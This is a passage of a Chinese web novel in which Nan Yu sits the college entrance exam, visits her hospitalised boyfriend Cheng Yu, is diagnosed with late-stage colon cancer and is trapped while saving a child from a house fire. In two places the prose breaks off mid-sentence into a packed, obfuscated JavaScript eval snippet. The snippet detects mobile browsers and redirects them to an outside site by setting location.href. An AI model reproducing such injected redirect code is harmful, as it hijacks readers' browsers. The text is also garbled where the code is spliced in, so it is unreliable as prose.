一阵冷风吹过,程遇把南鱼衣服的拉链往上拉了拉,摸了下她的头,“回去吧,天太冷了。” “我等你走了再回去。”南鱼摇头。 程遇叹了口气,将她拥入怀中,他的下巴压在南鱼头顶,嗓音沉沉,“再有半年,你等我回来。” 南鱼抓着她的衣服,闷闷的“嗯”了声。 很快,车到面前,程遇上了车,靠窗坐了下来。 他往外看,南鱼一直站在原地,视线追随着车子。 他忍下强烈的想下车的冲动,把车窗关了起来,闭目浅眠。 高三的假期很短暂,过了大年初七,学校就开学了。 南鱼又全身心地投入学习状态中,不止是南鱼,在看到班级前面悬挂的和高考倒计时,受气氛的影响,就连刘德旋和刘愿生这种三天打鱼两天晒网的学生也开始紧张地努力学习。 下半年的时间像开了加速器一样,时间在指缝间迅速流失。 很快到了高考,这是检验最终学习成果决定命运的一个考试,所有人都很有压力,南鱼也是如此。 镇上的高中不作为高考考点,他们统一由学校租的大巴车拉到县城考试。 大巴车上,南鱼和万以荣刘念娣她们坐在一起。 上车没多久,南鱼却突然觉得肚子传来一阵钝痛感,她捂着肚子,脸色有些苍白。 刘念娣注意到,关切地问:“你没事儿吧?” 南鱼咬着唇摇头,“没事。” 但一阵阵痛感袭来,南鱼额头出了一层薄汗。 “是不是太紧张了?”万以荣皱眉,“我这有药,你吃一片。” 万以荣从书包里拿出来两盒药递过去,“有缓解紧张的,还有止痛的。” 这些药是早上她妈妈给她装的,生怕考试她有什么不舒服。 “谢谢。”南鱼接过去,拧开一瓶水就着喝了下去,靠在椅背上休息。 可能是太紧张了,这段时间她总是觉得肚子不舒服。 过了一会儿,药效发挥作用,疼痛感舒缓了一些,南鱼的脸色才好了点。 山内镇高中的理科考生全在一个考点,到地方下了车,各班班主任站在队伍面前又多叮嘱了几句“不要大意”“放平心态”诸如此类的话,就让他们各自去考场了。 临到考试,南鱼等着安检的时候,看着校园里的陌生的景,她的心态倒是放平了不少。 接下来的一切顺其自然,各科考试她都很平静地做完试卷。 最后一场考试结束,所有考生跟疯了一样的冲出考场,高声呼喊解放万岁。南鱼拎着书包,在人群中慢悠悠地往校门走。她低头打开手机,看到程遇给她发的消息时,她脑海中突然升起一个强烈的念头。 她想去找他。 做了这个决定,南鱼心情有些澎湃,她和在大巴车旁等待学生的徐奇打了声招呼后就坐上了去槐州市区的大巴。 她没有告诉程遇这件事,想到了给他一个惊喜。 一路上,南鱼的心情一点也不平静。她看着窗外向后的景,有些紧张也有些期待。 从县里到市区的大巴两个多小时,到了槐州市,南鱼立马给程遇打了通电话。 电话响了一会儿才接,南鱼压着内心的激动,问程遇:“你在哪?” 对面沉默了一会儿,没有直接回答:“怎么了?” “程遇,你猜猜我现在在哪里?”南鱼声音轻快,“我来槐州了,你在哪?我去找你。” “你怎么来了?”程遇有些惊讶。 没有想象中的听到对方开心的语气,南鱼的心一下有点沉了下去,“我来找你。” “你不想让我来么?”南鱼问。 “没有,”对面的人立马否认,“你在哪?我过去找你。” “大巴车站。” “好,你等我,我很快到。” 对面传来一阵窸窸窣窣的声音,接着挂断了电话。 南鱼百无聊赖地在车站附近转悠。 槐州是庆省的省会城市,车站附近十分繁华。南鱼逛了一圈附近的小摊贩,找了个地方坐了下来。 天色仍旧很亮,南鱼抱着书包,看着面前来来往往的人出了神。 不知过了多久,有一股淡淡的消毒水的味道涌入鼻腔,她的面前站了一个人。南鱼抬头看,程遇穿着一件黑色的短袖垂眸看她。 半年没见,他的头发剪得更短了一些,身形似乎也有些消瘦了,但眉眼依旧俊朗。 “南鱼,”程遇叫她,“我来了。” 程遇向她伸手,她拉着他的手起身。 “我没有不想让你来的意思,只是有些意外你会突然来找我,”程遇解释刚才的事情,“你能来我很开心。” “这还差不多。”南鱼心情好了不少。 程遇接过她手中的书包,笑道:“我先带你去吃饭。” 程遇带着南鱼来了一家烧烤店,正是晚饭高峰期,他们等了一会儿才等到外面的位置。 服务员是一个年轻的女生,在给他们递过菜单后一直频频往程遇那看。南鱼点好菜注意到,有些不爽。 程遇没有察觉,拆了副碗筷过了水放到她面前问她:“考得怎么样?” “不知道。”南鱼胳膊抵在桌子上,手撑着脸颊偏头皱眉看着面前的人,语气不怎么好。 程遇有些莫名,“怎么了?” “你老实说,考完试有没有女生跟你表白?”南鱼一脸审判,严肃地问他。 程遇轻笑一声,有些无奈,“没有。” “真的?”南鱼一点都不相信,“你别骗我,肯定有!” “真没有,”程遇笑了下,“因为转回去的第一天大家就都知道我有女朋友了。” “嗯?”南鱼表情空白了几秒。 程遇弯唇接着说,“所以真的没有人向我表白,你放心。” 南鱼别开了眼,有些不自在的说,“谁知道你说的女朋友是谁。” “是你,”程遇落在南鱼身上的目光缱绻,他的声音清冽,“我女朋友只会是你。” “谁答应了啊?”南鱼的心怦怦狂跳,他微微低头,唇角的笑却在蔓延。 “你不愿意么?南鱼?”程遇低低一笑,近乎蛊惑的压低嗓音问,“还是说你不喜欢我么?” “我当然——”南鱼对上程遇漆黑的眼睛,捏了捏手指压着心跳,将后面的话补充完整,“喜欢。” 程遇扬眉,笑得温柔,“我也是,很喜欢。” 这家烧烤正是程遇过年时候给南鱼带烤翅的那家,刚出炉的味道确实很好,南鱼难得的胃口好了点,多吃了几串。 程遇倒没怎么动筷子,他一直看着南鱼吃。 南鱼注意到问他,“你怎么不吃?” “我考完试吃过了,还不饿,”程遇又把烤串往她面前放了放,“你多吃点。” 南鱼差不多吃饱的时候,程遇接到了一通电话,透过话筒,南鱼听到到对面的人好像很生气,程遇看了南鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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南鱼脸又要烧起来了,她快走几步到浴室,把门关上,在里面说,“我去洗澡,你帮我买吧。” 程遇心情很好地笑了下,拿上房卡出门了。 楼下附近就有一家睡衣店,程遇挑了两件情侣款睡衣,看到内衣区想了下又顺带了一套内衣。 他觉得南鱼应该会需要换洗。 买好后,程遇拎着回到房间。 浴室水声刚好停止,南鱼从里面探出脑袋,“我洗好了。” 程遇看过去,浴室太热,南鱼的脸有些泛红,一双眼睛也雾蒙蒙的,湿发有几缕贴在脸上,衬得她的皮肤愈加白皙。 再往旁边看,浴室的玻璃虽然不是透明的,但依稀能看出女生曼妙的身材,他眼眸暗了暗,别开了眼。 程遇把买好的衣服都递给她,南鱼接过迅速关上了门。 换好衣服出来,她拿吹风机坐在电视面前吹头发,“你要不要在这洗?还是一会儿回你房间洗?” “洗一下吧。”六月的天,已经开始热起来了,吃完饭一路走过来,他身上出了不少汗,这会儿汗黏在身上,有些不舒服。 程遇把他给自己买的那件睡衣拎到浴室,里面传来哗啦啦的水声。 吹好头发,南鱼舒服地躺在床上准备打开电视,旁边程遇的手机亮了起来。 南鱼好奇心上来了,她想知道是谁一直在向程遇打电话,于是拿起来看了一眼,电话上面没有备注,南鱼脑子里腾升起一个念头,她拿起手机接了起来。 程遇洗完澡出来,觉得南鱼有些不对劲。 她坐在床上,低着头不说话。她的头发披散着挡住了脸,程遇看不到她的表情,但能感觉到她周围的气压有点低。 “南鱼?”程遇走过去,试探地叫她一声。 南鱼抬起头,眼神有些冷。 “为什么骗我?” 程遇想说点什么,看到她手中握着的自己的手机,瞬间明了。 他在南鱼身边坐了下来,手放在她的脸颊上让她和他对视,“我没想骗你。” “程遇!你混蛋!”南鱼攥紧拳头,眼睛有些红,“你能不能爱惜自己的身体!” 程遇将南鱼拥入怀中,“对不起,让你担心了。” 南鱼心中有一股怒气,她无处发泄,用力地把他推开,“你别抱我!” 程遇被她猛地一推,身体不稳,咳嗽了两声,南鱼紧张地抓住他的胳膊,“你怎么样?” “我没事,”程遇捂着胸口笑了下,“你别生我气了,你好不容易来一次,我总不能不见你。” 南鱼抿着唇不说话。 还是刚才接到了那通电话,南鱼才知道程遇这段时间一直在住院,就连今天考完试后,他就立马回了医院。但她竟然现在才知道,程佑军因为他私自离开医院给他打了好多电话,在手机没电后又借了护士的手机联系他,但他都没接。 “程遇,你回医院吧。”南鱼说。 “不,”程遇摇头,“我今晚要陪你。” “我不用你陪也行。” “不行,”程遇又将南鱼拉入怀中,“我真的没事,你一个人在这儿,我不放心。” 程遇用下巴蹭了蹭她的头顶,“我答应你,我明天一定回医院,好么?” 南鱼在他怀中闭上眼睛,最终点了点头。 次日一早,两个人吃完早饭,南鱼就拉着程遇回了医院。 南鱼站在楼下没有上去,“你进去吧,我也该回去了。” 程遇点了下头,牵着南鱼的手却不松开。 “我真的要走了。”南鱼认真地说。 程遇只是说“好”。 “那你倒是把我手松开呀,”南鱼笑的无奈,“你拉着我,我怎么走?” “南鱼,这个暑假我们出去旅游吧,”程遇环住南鱼的肩,将她带入怀中,在她耳边低声说,“去有海的地方。” “好,”南鱼笑着拍了拍他的后背,“等你好了,我们一起去旅游。” 又抱了一会儿,两人松开。 “你回去吧,我就不送你了。” 南鱼后退两步,“那我真走了。” “走吧......”他的脸上全是不舍。 南鱼笑了声,她说:“程遇,你闭眼。” 程遇不知道她要做什么,但还是听话的闭上了眼睛。 南鱼到他面前,踮起脚尖,在他唇上轻轻地印上了一个吻。 温软的触感一触即逝,程遇滚动了下喉结,睁开了眼睛。 南鱼已经后退好几步,站在离他不远的地方朝他笑着挥手,“程遇,我等你!” 那天天朗气清,风都是温柔的,清晨的阳光穿过树的缝隙柔和地照在她的身上,她的发丝都在发光。 2012年6月9日,程遇永远都忘不了这天。 31. 第 31 章 高考成绩出来的那天,为了缓解紧张的情绪,南鱼和好几个人一起待在孙邢洲的KTV里唱歌。 刘德旋拿着话筒不放,偏生他是个音痴,唱起歌来鬼哭狼嚎的,让包间里的几个人备受折磨。 万以荣实在受不了,说要出去透透气让耳朵清净会儿。 刘念娣往南鱼旁边坐了坐,第一次来这里,她十分的不自在。 一曲完毕,刘德旋又兴冲冲地切了一首歌,刘念娣看着他十分无奈,“他怎么还要唱啊……” “习惯就好。”南鱼拿了瓶矿泉水在手中,往KTV大屏上看了眼歌曲名字,从旁边的刘愿生手中夺过话筒,塞到刘念娣手中,“你也唱会儿。” “啊……我不行吧?”刘念娣脸红的拒绝,她从来没在别人面前唱过歌,还挺不好意思的。 “没事,唱着玩,权当提前放松心情。”南鱼之前听过刘念娣小声的哼过这首歌,还挺好听,只不过她不擅于在外面面前表现自己。 刘念娣接过话筒,对着屏幕上的歌词小声的唱了起来。 她的声音初始完全被刘德旋压住,后来,她逐渐放松,声音慢慢提了上去。 刘念娣的音色很好,听到她的歌声,刘德旋不由自主的闭麦了,专心的欣赏。 刘愿生调侃他:“哟,怎么不唱了?” 刘德旋摸了摸鼻子,看了眼刘念娣,“人家唱这么好,我自惭形秽不行。” “哟。” “还能有让你自惭形秽的人?”孙邢洲推门进来,笑道。 刘德旋从高脚凳上下来,凑过去笑嘻嘻的说,“洲哥说什么呢?我也很有自知之明好吧?” 孙邢洲在卡座上坐下来,点了根烟,“不是已经可以查分了?你们查了么?” “可以查了?”南鱼拿手机看了眼时间,已经过了18:00好久了,确实可以查了。 “害,我这分,不用查就知道结果了。”刘德旋从桌子上拿了瓶啤酒喝了一口。 “你是知道结果,这几个好学生可以不知道,”孙邢洲笑着弹烟灰,“去吧,楼下有电脑。” 南鱼点了下头,带着刘念娣去了楼下,万以荣已经坐在电脑面前了,她面容平静,倒是站在她旁边的刘小妹紧张的不行。 万以荣登上网站,拿出准考证输入自己的准考证号,接着,令人心高高提起来的时刻到了,她点击登陆,分数很丝滑的出现在了她的眼前。 678分! “天呐!”刘小妹先替万以荣叫了出来。 万以荣也面带喜色,今年高考题比较难,这个成绩她已经很满意了。 接着,南鱼和刘念娣分别查了成绩。 刘念娣考了605分,南鱼考了569分。 南鱼的成绩属实超常发挥了,她根本就没想到能这么高,考完的时候,她以为自己能考550就已经够可以的了。 刘德旋和刘愿生看到南鱼的成绩,一直在一旁吱哇乱叫,仿佛考出来这个成绩的是他们。 孙邢洲笑着恭喜她们,随后问南鱼:“准备报哪所学校?” 南鱼如实摇头,“不知道。” 这个她还没具体和程遇商量,只是说要报一个海边城市的大学,但具体哪个还需要再研究。 说话期间,刘德旋和刘愿生也查了成绩,他们的成绩就很普通了,分别是458和452。 查出来成绩那一刻,他俩抱头痛哭,好一个难兄难弟,成绩如此接近。 这个分数最多只能够上三本,对他们来说也足够了,不枉他们跟着南鱼几个人学了一年习。 孙邢洲为了庆祝她们的高分,请他们吃了一顿饭。饭桌上,他不停地感慨以后他们发达了别忘了他。 南鱼笑着说肯定的,这两年,孙邢洲明里暗里帮了她不少,她自然记在心里。 吃完饭回家的路上,头顶月光明亮,南鱼低头给程遇发消息,商量去哪个城市读大学。 忽然小腹一阵疼痛感袭来,强烈的痛感让她忍不住蹲了下来。除了小腹疼,她肋骨的地方也隐隐做痛,南鱼还以为这次疼痛就像以往一样,休息下就能稍微缓解一点。 但没想到,这次她疼晕了过去。 再次醒来的时候是次日,她已经在医院了。 南鱼睁开眼,看着雪白的天花板,她猛地坐了起来。 一个小女孩儿坐在她旁边,看到她醒过来连忙喊“奶奶”。 她奶奶走进来,一脸慈祥,“你醒了啊?” 对上南鱼疑惑的眼神,小女孩儿奶奶解释说:“我和小遥回家的时候看到你倒在地上就把你送到了医院。” “对呀,对呀,姐姐,当时你倒在地上,胳膊都磕破了,看起来可疼了。”叫小遥的小女孩儿在旁边附和。 “谢谢你们。”南鱼想起来了,她走在路上疼晕了过去。 “醒了就好,”小遥奶奶弯眼笑,“刚才医生说让你醒了之后去找他一趟,你要不要过去问一问看什么事情?” 南鱼有些艰难地起身,小遥奶奶扶了她一把。 身体的痛感还隐隐存在,南鱼慢悠悠地挪到了医生诊室。 “坐,”看到南鱼进来,医生指了指面前的凳子,“有些情况我想问下你。” 南鱼点了点头,在他对面坐了下来。 “昨天你被送过来的比较急,我们抽血给你简单检查了下身体,发现你的白细胞数值有异常,我建议你进一步检查一下,”医生开门见山的说,“你昨晚是因为身体疼痛才昏过去的,这种情况是第几次出现了?” “第一次,”南鱼又补充了一句,“不过最近几个月,我一直感觉肚子疼。” 医生皱起了眉头,双手放在桌子上交叉相握,“那你这种情况我十分建议你检查一下身体,而且我建议你去县里检查,挂……肿瘤科。” 南鱼皱了下眉,“肿瘤科?” “对,”医生点了点头,他觉得南鱼的症状很像是肿瘤,他本来不应该和她说这么清楚的,这些情况应该和家人说的,但送她过来的那个老太太告诉他南鱼已经没有家人了,所以他只能告诉南鱼本人,“我怀疑是肿瘤。” 南鱼抿唇沉默了会儿,随后点头,“我知道了,谢谢医生。” 从诊室出来,南鱼有些迷茫。 肿瘤……么? 即使她再没常识,也知道肿瘤是个什么东西,是癌症,得了很容易去世的癌症。 她回到房间,小遥奶奶已经给她买了早饭,“闺女,先吃点东西。” 南鱼想说不饿,小遥在一旁直接把包子塞到她手中,“姐姐吃,姐姐吃饱了才能好得快。” 看着眼前乖巧可爱的小女孩儿,南鱼点了下头,拿起包子味如嚼蜡地吃了下去。 小遥奶奶在一旁问:“医生找你说了什么?你这有事儿没有?” 南鱼不想把自己的情况告诉眼前善意的陌生人,她避重就轻地说:“他让我县里检查一下身体。” “哎!对!是该检查!”小遥奶奶说,“检查身体好放心!” “是呀,好放心。”南鱼笑了笑,和她说,也仿佛和自己说。 南鱼没有耽误,搭乘上午的车去县里了。 小遥奶奶没有陪她去,她说她家里现在就一个人带小遥,不好跑太远,南鱼倒觉得没什么,她给的善意已经够多了。 但她们把她送到了车站,小遥朝她挥手,“姐姐再见,回来要找小遥玩哦!” “好,再见。”南鱼笑着和她挥手。 车开出去,南鱼紧闭双眼准备休息,突然想起,昨晚她和程遇发了消息后就晕倒了,程遇如果找不到她,该多着急。 她翻出手机打开,果不其然,程遇给她打了好几个电话,她回过去,对面立马接通。 “你昨晚怎么突然没回我消息?”程遇的嗓音有些沙哑。 南鱼撒了个谎,“昨晚太困了,回去就睡了。” “下次给我说一声,好么?”南鱼从来没有不回消息的情况,程遇担心的一夜没睡。 “好。” 两人又聊了一会儿,南鱼挂断了电话。 看着车窗外,南鱼生出了一种恐惧的心理,她真的,会得那种可怕的病么? 南鱼到了县城医院,在肿瘤科挂了号,给医生讲了下自己的情况后,医生给她开了单子检查。 有两项检查需要预约,因为人比较多,南鱼都约到了明天。 其中一项是肠胃镜,无痛的要用麻药,护士建议南鱼找人陪她来,南鱼只是点了点头。 她拿着检查的单子,没有回家,在医院附近的一个宾馆住了下来。 次日一早,南鱼就拿着单子去挨个检查。 到做无痛胃镜时,医生看她一个人,皱眉问:“没有人陪你么?” 南鱼摇头,“我自己一个人就行。” 医生只是同情的看了她一眼。 做完肠胃镜醒来,南鱼觉得自己睡了很舒服的一觉,但她起身,却感觉头有些晕。 她慢悠悠地挪动身体,医生过来和她说,“你肠道中发现了异物,我切开来做病理检查了,结果大概3-7日出来,到时候你来取。” 南鱼点了下头,坐在门口的凳子休息了会儿就回到了山内镇。 等结果的一周过得格外艰难,南鱼时常恍惚,程遇和她视频的时候察觉到她的状况,忍不住问她,南鱼也只是摇摇头,笑着找了个借口搪塞过去。 过了一周,南鱼去医院取结果,她把结果拿给医生看,医生皱着眉十分严肃地问她:“你家里人来了没有?” 南鱼摇头,医生接着说:“你这个情况我建议你家里人来一趟。” “我家里现在只剩下我自己了,”南鱼十分平静地说,“医生,你说吧,我现在什么情况。” 看着南鱼年轻的脸,医生叹了口气,“我就直说了,你得了结肠癌,报告显示,晚期,……” 南鱼不知道她是怎么走出医院的,她抬头看了看天,是阴沉沉的。 是要下雨了啊。 南鱼扯了扯唇角,突然有些想哭。 刚才医生建议她住院,她拒绝了,十分冷静地问医生她能活多久,医生说如果她接受治疗的话最少能活三五年,如果治疗效果好了,会更久。 如果不治疗呢?医生没说。 南鱼说她考虑考虑。 从县城回到家,南鱼蜷缩在床上,一阵又一阵疼痛袭来,她咬着唇,忍了很久。 最后,她终于受不住,吃了一片止疼药。 她的后背已经全湿了,额前的碎发贴在脸上,身上黏腻,很不舒服,但她实在没有力气去收拾了。 她躺在床上,双眼放空。 她想起来医生问过她一句,你之前家里有人得过这个癌症么? 有么?她不知道。 自打她记事以来,她的世界里只有奶奶。 程遇给她打了电话,南鱼没接。她看着手机屏幕亮起,又熄灭。 她现在只觉得好累啊。 南鱼迷迷糊糊的睡着了,她梦到了奶奶。 奶奶站在一束温暖的光中,笑着叫她小鱼儿。南鱼朝她跑过去,奶奶消失了。 白光坍塌,她站在一片废墟中,周围荒无人烟,天黑的仿佛要压下来,风嘶吼着,像怪兽一样,要把她吞没。 她快速奔跑,想要逃离这片废墟,却怎么也逃不出去。 忽然,她听到有人叫她。 “南鱼。” 南鱼回头看,身后空荡荡的,她迷茫地眨了眨眼。 声音又响了起来,这次带着些着急。 “南鱼!” 南鱼猛地惊醒,万以荣一脸着急地站在她床前。 她摸了一下额头,湿漉漉的,她撑着身子起身,有些费力,万以荣忙去扶她。 直起身子,南鱼虚弱的靠着床。 “南鱼,你……”万以荣眼睛红红的,她咬着唇,似乎不忍心问她。 南鱼看了眼她放在床边桌子上的化验单,有些虚弱的笑了笑,“我没事,不用担心。” “什么叫没事!”万以荣朝她吼,“你怎么会……怎么会……” 万以荣泣不成声,她捂着嘴,眼泪大颗大颗掉在了地上。 “你告诉他了么?”南鱼沉默了一会儿,问。 万以荣摇头,抽噎着说:“还……还没来得……及。” 程遇联系不到南鱼,他让万以荣来家里看看怎么回事,万以荣过来,南鱼家门没锁,房屋大开,她叫了南鱼几声,没人回应。 她担心南鱼有什么事儿,就进屋来找她看在不在,结果没想到看到她的医院化验单。 南鱼浑身大汗地躺在床上,面色很差,她害怕地大声叫她,生怕南鱼一觉不醒。 “别告诉他了。”南鱼把视线移到正前方,声音平静的可怕。 “可是他很担心你,”万以荣说,“他知道他会回来找你的,我们一起想办法,总有办法的,你一定会好起来的。” 南鱼摇头,“不会了。” 她不会好起来了。 窗外的雨终于下了起来,乌云在天空积压了许久,终于畅快地宣泄了出来。 这是一场暴雨,山内镇几十年未见一次的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365923|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大暴雨。 万以荣怔怔地看着南鱼,她面无表情,似乎失去了生息。 万以荣走了,她最终没有告诉程遇这件事,她不知道自己做得对不对,但这是南鱼所希望的。 南鱼缓了会儿神,总平常的语气回了程遇的消息,程遇说要给她视频,她怕程遇看出来她状态不对,就说太累拒绝了。 而且她真的有点累,现在只想睡觉。 南鱼几乎睡了一天一夜,她醒来时,雨已经不下了。 手机群里消息不停闪烁,她点来,看到刘德旋在群里说通往县城的那条大道被从山上滑落下来的石头给堵死了,这场大雨来得过于猛烈,引起了山体滑坡。 南鱼从群里退了出来,程遇给她发了好多条消息,最后一条是:【下雨天注意安全】 南鱼回:【好】 睡了这么久,她难得的感到有些饿,但她不打算做饭,准备出去买一些吃的。 南鱼买了一杯豆浆,她没有回家,而是沿着马路漫无目的的散步。 雨后的空气是清新的,但处处泥泞,不知不觉间,南鱼走到了小河旁边。 下雨小河水位上涨,水流变得湍急起来。 因为天阴的缘故,才过六点,天已经黑了。 南鱼站在那,她想起来之前和程遇在这儿谈心。 她说她的背后是万丈深渊,问程遇怕么? 他当时回答的是不怕,因为他也曾在深渊中。 时隔大半年的时间,她有些恍惚,程遇坚定不移的眼神现在还深深地刻在了她的心中。 程遇,她该告诉程遇这件事么? 不,他的心脏不好,他不能再受刺激了。 可是,可是。 南鱼深呼了一口气,她真的好想程遇啊。 为什么会这样呢? 她考了一个好成绩,就要个程遇一起去有海的地方读大学了,她就要游出这个小镇了。 为什么会出现这种情况呢? 南鱼想不明白。 她沉默地看着面前的河水,听着水哗哗流动的声音。 手机又响了起来,是程遇给她来了电话。 她接住,程遇在对面声音轻扬,“你终于接我电话了。” 南鱼抿了下唇,低头看着鞋上沾着的泥土,声音沙哑的问:“怎么了?” “你最近怎么了?遇到什么事情了么?”程遇察觉到她的情绪低落。 “没……”南鱼咬了下唇,努力控制自己即将落下来的泪。 “南鱼,我明天就能出院了,等过两天,路通了,我就回去找你。”程遇声音温柔,“如果你不想在电话里告诉我,回去我们当面说,好么?” 南鱼低低地“嗯”了声。 “好了,高兴点好不好,等我回去了,我带你出去旅游,我们一起去看海。”程遇哄着她。 南鱼终于忍不住,泪无声的落了下来,她点头,“好。” 挂了电话,南鱼看着一望无际的黑夜,终于下了决定,等到和程遇一起旅游回来,她就接受治疗。 最起码,能多活几年,和他在一起。 时间一分一秒流逝,南鱼在河边又站了好久才转身回镇上。 到了镇口,她看到不远处有一栋房子火光漫天,镇上的不少人都在往那边去。 是着火了,而且看情况火势还挺大。 南鱼不打算去凑热闹,她迈步继续往家回。 却在附近路过时,她听到一阵熟悉的哭声。 “救救我的小遥,求求你们救救我的小遥。” 南鱼停住脚步,往那边看过去。 小遥奶□□发乱糟糟的,满脸是灰,她拉着一个人,跪在地上大哭。 那人十分无奈,“不是我们不救,我们打了119,但现在镇上的路被碎石挡着,他们过不来,现在火势太大了,谁也不敢贸然进去。” 听了这话,小遥奶奶几乎要昏了过去。 莫名的,她想起了奶奶。 南鱼紧紧攥紧拳头,没有犹豫,朝她走了过去。 “小遥在哪?我去救。” 小遥奶奶哭得眼睛通红,她看着南鱼,颤着手,最终摇了摇头,捂着脸哭了起来,“算了,闺女,算了。” 这么危险,她还是不要让南鱼进去了。万一出了什么事儿,她不能连累一条无辜的性命。 “奶奶,小遥在哪,我去救她。”南鱼再次重复。 旁边的男人想要劝阻,“你知不知道里面多危险!” 南鱼瞥了他一眼,没有理会,仍旧问,“小遥在哪?” “在卧室睡觉。”小遥奶奶哭着说。 南鱼点了下头,她朝着愿意走去。 小遥奶奶在后面叫她,“闺女,你别去。” 南鱼像没听到一样,坚定地朝着火场走去。 她们曾经帮助过她,向她释放了善意。小遥清澈的眼睛在她脑海中浮起,这么可爱的一个小女孩儿,不应该落得个葬身火海的下场,她还那么小,以后还有大把美好年华,不应该死在这里。 走到院子里,她没有听到小遥的声音,估计情况有些危险,她没有犹豫,找了两块毛巾打湿捂着口鼻冲入火场。 身后响起小遥奶奶沙哑着急的声音:“闺女!” 起火点在小遥奶奶的房间,客厅的火烧得没有那么旺盛,里面烟雾很浓,熏的南鱼眼睛不舒服,她进去后没有停留直接到小遥房间。 小遥蜷缩在地上昏了过去,南鱼跑过去抱着她,拿出另一个湿毛巾捂住她的口鼻。她抱着她准备原路返回,但身后突然起了一阵大火,挡住了她们退路。 情况紧急,南鱼定心观察,发现小遥房间有一个小窗户,但要往窗户那走也不太容易,窗户旁边的桌子已经燃了。 南鱼看看四周,旁边只有一小杯水,她一咬牙,把床上的枕巾拿下来泼上水披在小遥身上抱着她往窗户那去。 院子里有人,南鱼大声呼喊,有人到了窗户外。 她跟外面的人沟通,用水压弱这边的火势,然后把小遥从里面递出去。 火势弱了一些,南鱼准备把小遥往外送。这时,头顶的横梁因为被火点燃有些不稳,发出吱呀声响,看着摇摇欲坠,南鱼着急地把小遥从窗户递出去。 接着,她准备跳窗而出时,那根横梁突然掉了下来,砸在了她的背上。 南鱼闷哼一声,倒在地上,她听着窗外有人着急的呼唤她的声音,努力伸手向前挪动身子,但身体被压,她动弹不得。 带火的横梁灼伤了她的皮肤,疼痛袭遍全身,南鱼彻底昏了过去。